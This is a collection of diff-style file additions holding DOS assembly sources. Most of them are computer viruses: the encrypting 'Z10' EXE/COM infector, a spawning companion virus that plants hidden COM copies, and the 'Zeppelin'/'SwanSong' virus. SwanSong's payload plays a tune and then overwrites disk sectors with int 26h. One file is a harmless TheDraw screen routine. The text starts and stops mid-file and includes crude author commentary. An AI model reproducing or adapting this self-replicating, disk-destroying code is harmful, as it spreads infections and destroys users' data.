exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point

View File

@ -0,0 +1,353 @@
; Z10.asm : [Z10] by Paul Ferguson
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'ZA' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: loop decrypt ; handles encryption and decryption
patch_startencrypt:
mov si,offset startencrypt ; start of decryption
mov di,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc si ; calculate new decryption location
inc si
dec di ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],2 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
mov ah,2ch ; Get current time
int 21h
cmp dl,90 ; Check the percentage
jbe activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate: ; Conditions satisfied
jmp exit_virus
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
cmp ax,'DN' ; Ends in ND? (commaND)
jz find_next
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,13000 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point

View File

@ -0,0 +1,174 @@
;NON-RESIDENT SPAWNER
; I threw this thing together in less than an hour and haven't looked
; at it since so yes, I know it needs real work. Mangle and change as
; you please. The original goal was to create the smallest spawner but
; I got bored with the whole thing. Some of the code was taken from
; the source code to Directory Magic by pcmag. Have phun....
CSEG SEGMENT
ASSUME CS:CSEG,DS:NOTHING
ORG 100H ;Beginning for .COM programs
START: JMP MY_BEGIN ;Initialization code is at end
wild DB "*.EXE",0
file_Ext DB "COM",0
file_found DB 12 DUP(' '), 0
file_create DB 12 DUP(' '), 0
search_attrib DW 17H
num_infect dw 0
my_cmd:
Cmd_len db 13
file_clone db 12 DUP (' '), 0
ASSUME CS:CSEG, DS:CSEG, ES:NOTHING
;------------------------------------------------------------------;
Prepare_command:
cld
mov di,OFFSET file_clone
mov al,0
mov cx,12
repne scasb ; find the end of string \0
mov al,0Dh ; <CR>
stosb ; replace \0 with a <CR>
mov ax,12 ;store length of the command
sub ax,cx
mov cmd_len, al
ret
;------------------------------------------------------------------;
Store_name:
MOV DI,OFFSET file_found ;Point to buffer.
MOV SI,158
MOV CX,12
REP MOVSB
MOV DI,OFFSET file_create ;Point to buffer.
MOV SI,158
MOV CX,12
REP MOVSB
cld
mov di,OFFSET file_create
mov al,'.'
mov cx,9
repne scasb ;find the '.'
mov si,OFFSET file_ext
mov cx,3
rep movsb ;replace the .EXE with .COM
ret
;------------------------------------------------------------------;
;Does the file exist?
Check_file:
mov dx,OFFSET file_create
mov cx,0
mov ax,3d00h ; Open file read only
int 21h
Chk_done:
ret
;------------------------------------------------------------------;
Infect_file:
;Create file
mov dx,OFFSET file_create
mov cx,0
mov ah,3ch
int 21h
jc EXIT
;Write to file
mov bx,ax
mov cx,(OFFSET END_OF_CODE - OFFSET START)
mov dx,OFFSET START
mov ah,40h
int 21h
;Close file
mov ah,3eh ; ASSUMES bx still has file handle
int 21h
;Change attributes
mov dx,OFFSET file_create
mov cx,3 ;(1) read only, (2) hidden, (4) system
mov ax,4301h
int 21h
ret
;------------------------------------------------------------------;
; Read all the directory filenames and store as records in buffer. ;
;------------------------------------------------------------------;
MY_BEGIN:
mov sp,offset STACK_HERE ;move stack down
mov bx,sp
add bx,15
mov cl,4
shr bx,cl
mov ah,4ah ;deallocate rest of memory
int 21h
MOV DI,OFFSET file_clone ;Point to buffer.
MOV SI,OFFSET file_found
MOV CX,12
REP MOVSB
READ_DIR: MOV DX,OFFSET wild
MOV CX,search_attrib
MOV AH,4EH ; This finds the first matching file.
INT 21H
JC EXIT ;If empty directory, exit.
Do_file:
call Store_name
call Check_file
jnc seek_another ; CF = 0, shadow already there... skip it
call Infect_file
jmp Exit
seek_another:
find_next:
mov ah,4fh
int 21h
jmp Do_file
EXIT:
;Run the original program
call Prepare_command
mov si, OFFSET my_cmd
int 2Eh ;Pass command to command
; interpreter for execution
;Exit to DOS
MOV AX,4C00H
INT 21H
END_OF_CODE = $
STACK_HERE EQU END_OF_CODE + 512
CSEG ENDS
END START

View File

@ -0,0 +1,241 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ ZEP ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 12-Nov-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 0A0h
data_9e equ 418h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
zep proc far
start:
jmp short loc_1
db 90h
data_2 db 0
data_3 dw 216h
db 2
data_4 dw 0
db 'TheDraw COM file Screen Save'
db 1Ah
data_5 db 'Unsupported Video Mode', 0Dh, 0Ah
db '$'
loc_1:
mov ah,0Fh
int 10h ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
; ah=columns on screen
mov bx,0B800h
cmp al,2
je loc_2 ; Jump if equal
cmp al,3
je loc_2 ; Jump if equal
mov data_2,0
mov bx,0B000h
cmp al,7
je loc_2 ; Jump if equal
mov dx,offset data_5 ; ('Unsupported Video Mode')
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
retn
loc_2:
mov es,bx
mov di,data_4
mov si,offset data_6
mov dx,3DAh
mov bl,9
mov cx,data_3
cld ; Clear direction
xor ax,ax ; Zero register
locloop_4:
lodsb ; String [si] to al
cmp al,1Bh
jne loc_5 ; Jump if not equal
xor ah,80h
jmp short loc_20
loc_5:
cmp al,10h
jae loc_8 ; Jump if above or =
and ah,0F0h
or ah,al
jmp short loc_20
loc_8:
cmp al,18h
je loc_11 ; Jump if equal
jnc loc_12 ; Jump if carry=0
sub al,10h
add al,al
add al,al
add al,al
add al,al
and ah,8Fh
or ah,al
jmp short loc_20
loc_11:
mov di,data_4
add di,data_1e
mov data_4,di
jmp short loc_20
loc_12:
mov bp,cx
mov cx,1
cmp al,19h
jne loc_13 ; Jump if not equal
lodsb ; String [si] to al
mov cl,al
mov al,20h ; ' '
dec bp
jmp short loc_14
loc_13:
cmp al,1Ah
jne loc_15 ; Jump if not equal
lodsb ; String [si] to al
dec bp
mov cl,al
lodsb ; String [si] to al
dec bp
loc_14:
inc cx
loc_15:
cmp data_2,0
je loc_18 ; Jump if equal
mov bh,al
locloop_16:
in al,dx ; port 3DAh, CGA/EGA vid status
rcr al,1 ; Rotate thru carry
jc locloop_16 ; Jump if carry Set
loc_17:
in al,dx ; port 3DAh, CGA/EGA vid status
and al,bl
jnz loc_17 ; Jump if not zero
mov al,bh
stosw ; Store ax to es:[di]
loop locloop_16 ; Loop if cx > 0
jmp short loc_19
loc_18:
rep stosw ; Rep when cx >0 Store ax to es:[di]
loc_19:
mov cx,bp
loc_20:
jcxz loc_ret_21 ; Jump if cx=0
loop locloop_4 ; Loop if cx > 0
loc_ret_21:
retn
data_6 db 9
db 10h, 19h, 45h, 18h, 19h, 1Bh
db 01h,0D5h,0CDh,0CDh,0B8h, 04h
db 0F3h, 09h,0A9h, 04h, 9Dh
db 9
db 0AAh, 04h,0F2h, 01h,0D5h,0CDh
db 0CDh,0B8h, 19h, 1Ch, 18h, 19h
db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh
db 20h, 09h, 5Ch, 04h,0F6h, 09h
db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah
db 0CDh,0B8h, 19h, 13h, 18h, 19h
db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh
db 19h, 03h, 0Fh,0D2h,0B7h, 19h
db 04h,0D6h, 1Ah, 03h,0C4h,0B7h
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
db 0B7h, 19h, 04h, 01h,0D4h, 1Ah
db 0Eh,0CDh,0BBh, 19h, 03h, 18h
db 19h, 03h,0BAh, 19h, 12h, 07h
db 0BAh,0BAh, 19h, 04h,0BAh, 19h
db 03h,0BDh, 20h,0BAh,0BAh, 19h
db 02h,0D3h,0B7h, 19h, 13h, 01h
db 0BAh, 19h, 03h, 18h, 19h, 03h
db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h
db 04h, 19h, 07h, 08h,0BAh,0B6h
db 19h, 04h,0C7h,0C4h,0B6h, 19h
db 03h,0BAh,0B6h, 19h, 03h,0BAh
db 19h, 07h, 0Bh, 1Ah, 02h, 04h
db 19h, 08h, 01h,0BAh, 19h, 03h
db 18h,0D6h,0C4h,0C4h, 20h,0BAh
db 19h, 12h, 08h,0BAh,0D3h, 19h
db 02h,0B7h, 20h,0BAh, 19h, 03h
db 0B7h, 20h,0BAh,0D3h, 19h, 02h
db 0D6h,0BDh, 19h, 13h, 01h,0BAh
db 20h,0C4h,0C4h,0B7h, 18h,0D3h
db 0C4h,0C4h,0C4h,0BDh, 19h, 12h
db 08h,0D3h, 1Ah, 03h,0C4h,0BDh
db 20h,0D3h, 1Ah, 03h,0C4h,0BDh
db 20h,0D0h, 1Ah, 03h,0C4h,0BDh
db 19h, 14h, 01h,0D3h,0C4h,0C4h
db 0C4h,0BDh, 18h, 04h, 1Ah, 04h
db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah
db 04h,0C4h,0B7h, 20h,0D6h, 1Ah
db 03h,0C4h,0B7h, 20h,0D2h,0D2h
db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h
db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h
db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h
db 0D2h,0B7h, 19h, 04h,0D2h, 20h
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
db 0B7h, 19h, 03h, 04h, 1Ah, 04h
db 3Ch, 18h, 01h,0D6h,0C4h,0C4h
db 0C4h,0B7h, 19h, 07h, 07h,0D6h
db 0C4h,0BDh
dd 319BA20h ; Data table (indexed access)
db 0BDh, 20h,0BAh,0BDh, 19h, 02h
db 0BAh, 20h,0BAh,0BDh, 19h, 02h
db 0BAh, 20h,0BAh, 19h, 03h,0BDh
db 20h,0BAh,0BAh, 19h, 04h,0BAh
db 20h, 20h,0BAh,0BAh, 19h, 02h
db 0BAh, 19h, 03h, 01h,0D6h,0C4h
db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h
db 0C4h, 20h,0BAh, 19h, 06h, 08h
db 58h, 19h, 03h,0C7h,0C4h,0B6h
db 19h, 03h,0BAh, 1Ah, 03h,0C4h
db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h
db 0BDh, 20h,0C7h,0C4h,0B6h, 19h
db 03h,0BAh,0B6h, 19h, 04h,0BAh
db 20h, 20h,0BAh,0B6h, 19h, 02h
db 0BAh, 19h, 03h, 01h,0BAh, 20h
db 0C4h,0C4h,0BDh, 18h, 19h, 03h
db 0BAh, 19h, 03h, 08h,0D6h,0C4h
db 0BDh, 19h, 04h,0BAh, 19h, 03h
db 0B7h, 20h,0BAh, 19h, 05h,0BAh
db 19h, 05h,0BAh, 19h, 03h,0B7h
db 20h,0BAh,0D3h, 19h, 02h,0B7h
db 20h,0BAh, 20h, 20h,0BAh,0D3h
db 19h, 02h,0BAh, 19h, 03h, 01h
db 0BAh, 19h, 03h, 18h, 19h, 03h
db 0BAh, 19h, 03h, 08h,0D3h, 1Ah
db 04h,0C4h,0BDh, 20h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0BDh, 19h
db 05h,0BDh, 19h, 05h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0D3h, 1Ah
db 03h,0C4h,0BDh, 20h,0D0h, 20h
db 20h,0D0h, 19h, 03h,0D0h, 19h
db 03h, 01h,0BAh, 19h, 03h, 18h
db 19h, 03h,0C8h, 1Ah, 15h,0CDh
db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h
db 0CDh,0BCh, 19h, 03h, 18h, 19h
db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h
db 0F7h, 09h, 2Fh, 04h,0EAh, 09h
db 5Ch, 04h, 1Ah, 03h,0F7h, 01h
db 0CDh,0BEh, 19h, 1Bh, 18h
zep endp
seg_a ends
end start

View File

@ -0,0 +1,674 @@
;**************************************************************************
;
;The Zeppelin Virus September 25, 1992
;[MPC] Generated...
;Created by... pAgE
;As a TRiBuTe to John "back-beat" Bohnam, this "WEAK-DICK" ViRUS was made!
;Incidently. He died on this date in 1980! Got drunk and strangled on a
;CunT hAiR...oR wAs iT a tAmPoN???...Oh well, So goes RocK -n- RoLL...
;By the wAy<---That's whAt you sAy just beforE you bOrE the FuCK out of
;soMeoNe with anOthEr TRiViAl piEce of SHiT!!! These LiTTLe Up AnD LeTTeRS
;ThAt yA'll uSe, ArE a KicK....
;
;Okay, enough anti-social, suicidal, satan, sputum...On with the ViRUS...
; GeT'S in ThE bl00d DoEsn't it?------->^^^^^
;
;Here it is...
;It's not much, but in the hands off a knowledgeable Vx WRiTeR.......
;I'll keep workin' on it and see what I can do. In the mean time, have fun!
;I ReM'd out a lot of the ShIt iN here, So Joe LuNChmEaT doesn;t FrY hImSelF.
;
;But...If that's not good enough, well then - hEy! - BLoW mE!
;
;***************************************************************************
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'IS' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
patch_startencrypt:
mov di,offset startencrypt ; start of decryption
mov si,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
db 2eh,81h,35h ; xor word ptr cs:[di], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc di ; calculate new decryption location
inc di
dec si ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next:
pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],5 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
;mov ah,2ah ; Get current date
;int 21h
;cmp dh,9 ; Check month
;jb act_two
;cmp dl,25 ; Check date
;jb act_two
;cmp cx,1992 ; Check year
;jb act_two
;cmp al,0 ; Check date of week
;jb activate
;mov ah,2ch ; Get current time
;int 21h
;cmp dl,50 ; Check the percentage
jbe activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
exe_mask db '*.exe',0
com_mask db '*.com',0
stacksave2 dd ?
activate proc far
start:
jmp short loc_1
db 90h
data_2 db 0
data_3 dw 216h
db 2
data_4 dw 0
db 'Ripped this Motherfucker off'
db 1Ah
data_5 db 'SHIT!!! Wont work....', 0Dh, 0Ah
db '$'
loc_1:
mov ax,0003h ; stick 3 into ax.
int 10h ; Set up 80*25, text mode. Clear the screen, too.
mov ah,0Fh
int 10h ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
; ah=columns on screen
mov bx,0B800h
cmp al,2
je loc_2 ; Jump if equal
cmp al,3
je loc_2 ; Jump if equal
mov data_2,0
mov bx,0B000h
cmp al,7
je loc_2 ; Jump if equal
mov dx,offset data_5 ; ('Unsupported Video Mode')
mov ah,9
int 21h ; DOS Services ah=function 09h
; display char string at ds:dx
retn
loc_2:
mov es,bx
mov di,data_4
mov si,offset data_6
mov dx,3DAh
mov bl,9
mov cx,data_3
cld ; Clear direction
xor ax,ax ; Zero register
locloop_4:
lodsb ; String [si] to al
cmp al,1Bh
jne loc_5 ; Jump if not equal
xor ah,80h
jmp short loc_20
loc_5:
cmp al,10h
jae loc_8 ; Jump if above or =
and ah,0F0h
or ah,al
jmp short loc_20
loc_8:
cmp al,18h
je loc_11 ; Jump if equal
jnc loc_12 ; Jump if carry=0
sub al,10h
add al,al
add al,al
add al,al
add al,al
and ah,8Fh
or ah,al
jmp short loc_20
loc_11:
mov di,data_4
add di,data_1e
mov data_4,di
jmp short loc_20
loc_12:
mov bp,cx
mov cx,1
cmp al,19h
jne loc_13 ; Jump if not equal
lodsb ; String [si] to al
mov cl,al
mov al,20h ; ' '
dec bp
jmp short loc_14
loc_13:
cmp al,1Ah
jne loc_15 ; Jump if not equal
lodsb ; String [si] to al
dec bp
mov cl,al
lodsb ; String [si] to al
dec bp
loc_14:
inc cx
loc_15:
cmp data_2,0
je loc_18 ; Jump if equal
mov bh,al
locloop_16:
in al,dx ; port 3DAh, CGA/EGA vid status
rcr al,1 ; Rotate thru carry
jc locloop_16 ; Jump if carry Set
loc_17:
in al,dx ; port 3DAh, CGA/EGA vid status
and al,bl
jnz loc_17 ; Jump if not zero
mov al,bh
stosw ; Store ax to es:[di]
loop locloop_16 ; Loop if cx > 0
jmp short loc_19
loc_18:
rep stosw ; Rep when cx >0 Store ax to es:[di]
loc_19:
mov cx,bp
loc_20:
jcxz loc_new_25 ; Jump if cx=0
loop locloop_4 ; Loop if cx > 0
loc_new_25:
mov si,offset data00 ; SI points to data
get_note: mov bx,[si] ; Load BX with the frequency
or bx,bx ; Is BX equal to zero?
je play_tune_done ; If it is we are finished
mov ax,034DDh ;
mov dx,0012h ;
cmp dx,bx ;
jnb new_note ;
div bx ; This bit here was stolen
mov bx,ax ; from the Turbo C++ v1.0
in al,061h ; library file CS.LIB. I
test al,3 ; extracted sound() from the
jne skip_an_or ; library and linked it to
or al,3 ; an .EXE file, then diassembled
out 061h,al ; it. Basically this turns
mov al,0B6h ; on the speaker at a certain
out 043h,al ; frequency.
skip_an_or: mov al,bl ;
out 042h,al ;
mov al,bh ;
out 042h,al ;
mov bx,[si + 2] ; BX holds duration value
xor ah,ah ; BIOS get time function
int 1Ah
add bx,dx ; Add the time to the length
wait_loop: int 1Ah ; Get the time again (AH = 0)
cmp dx,bx ; Is the delay over?
jne wait_loop ; Repeat until it is
in al,061h ; Stolen from the nosound()
and al,0FCh ; procedure in Turbo C++ v1.0.
out 061h,al ; This turns off the speaker.
new_note: add si,4 ; SI points to next note
jmp short get_note ; Repeat with the next note
play_tune_done:
activate endp
mov ax,0002h ; OH! Look at this! Mr. Memorial
mov cx,0001h ; has just transformed into an
cli ; ASSHoLe!!!
cwd ; NuKe that HD "puppy-mullet"
trash_loop: int 026h ; Int 26h...Absolute FACE-RAPE
dec ax ; We really did let him off easy!
cmp ax,-1 ; Could have seriously trashed
jne trash_loop ; his happy ass................
sti ; --->>pAgE<<----
jmp exit_virus
creator db '[pAgE]',0 ; YOU REALLY SHOULD TAKE THIS
virusname db '[SwanSong]',0 ; BULLSHIT OUT OF HERE!!!
author db 'pAgE',0 ; WHY NOT HOLD UP A SIGN!!!
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,20h ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1ah] ; Filesize in DTA
cmp ax,(heap-decrypt) ; Is it too small?
jb find_next
mov bx,word ptr [bp+buffer+1] ;get jmp location
add bx,(heap-decrypt+1) ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
